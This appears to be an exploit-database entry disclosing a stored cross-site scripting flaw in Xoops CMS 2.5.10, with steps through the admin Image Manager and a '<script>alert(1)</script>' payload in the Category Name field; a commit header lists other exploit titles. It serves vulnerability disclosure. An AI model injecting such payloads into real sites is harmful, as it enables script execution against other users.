158fcdfd5c
11 changes to exploits/shellcodes/ghdb Anevia Flamingo XL 3.2.9 - Remote Root Jailbreak Anevia Flamingo XL 3.6.20 - Authenticated Root Remote Code Execution Anevia Flamingo XS 3.6.5 - Authenticated Root Remote Code Execution Monstra 3.0.4 - Stored Cross-Site Scripting (XSS) Online Thesis Archiving System v1.0 - Multiple-SQLi projectSend r1605 - CSV injection projectSend r1605 - Stored XSS Textpattern CMS v4.8.8 - Stored Cross-Site Scripting (XSS) (Authenticated) Xoops CMS 2.5.10 - Stored Cross-Site Scripting (XSS) (Authenticated) PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
17 lines
No EOL
794 B
Text
17 lines
No EOL
794 B
Text
# Exploit Title: Xoops CMS 2.5.10 - Stored Cross-Site Scripting (XSS) (Authenticated)
|
|
# Date: 2023-06-12
|
|
# Exploit Author: tmrswrr
|
|
# Vendor Homepage: https://xoops.org/
|
|
# Software https://github.com/XOOPS/XoopsCore25/releases/tag/v2.5.10
|
|
# Version: 2.5.10
|
|
# Tested : https://www.softaculous.com/apps/cms/Xoops
|
|
|
|
|
|
--- Description ---
|
|
|
|
1) Login admin panel and click Image Manager , choose Add Category :
|
|
https://demos5.softaculous.com/Xoopshkqdowiwqq/modules/system/admin.php?fct=images
|
|
2) Write your payload in the Category Name field and submit:
|
|
Payload: <script>alert(1)</script>
|
|
3) After click multiupload , when you move the mouse to the payload name, you will see the alert button
|
|
https://demos5.softaculous.com/Xoopshkqdowiwqq/modules/system/admin.php?fct=images&op=multiupload&imgcat_id=2 |